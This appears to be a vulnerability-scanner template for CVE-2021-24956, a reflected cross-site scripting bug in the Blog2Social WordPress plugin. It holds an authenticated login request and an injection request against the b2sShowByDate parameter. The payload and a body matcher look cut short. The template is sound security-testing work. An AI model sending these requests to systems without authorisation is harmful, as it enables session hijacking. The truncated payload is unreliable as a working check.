id: CVE-2021-24956
info:
name: Blog2Social < 6.8.7 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
The Blog2Social: Social Media Auto Post & Scheduler WordPress plugin before 6.8.7 does not sanitise and escape the b2sShowByDate parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting issue.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: Fixed in version 6.8.7
reference:
- https://wpscan.com/vulnerability/5882ea89-f463-4f0b-a624-150bbaf967c2
- https://nvd.nist.gov/vuln/detail/CVE-2021-24956
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24956
cwe-id: CWE-79
epss-score: 0.00106
epss-percentile: 0.42122
cpe: cpe:2.3:a:adenion:blog2social:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: adenion
product: blog2social
framework: wordpress
tags: cve,cve2021,wordpress,wp-plugin,xss,authenticated,wpscan,adenion
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=blog2social&b2sShowByDate="> HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '" name='
- 'Your Activity'
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
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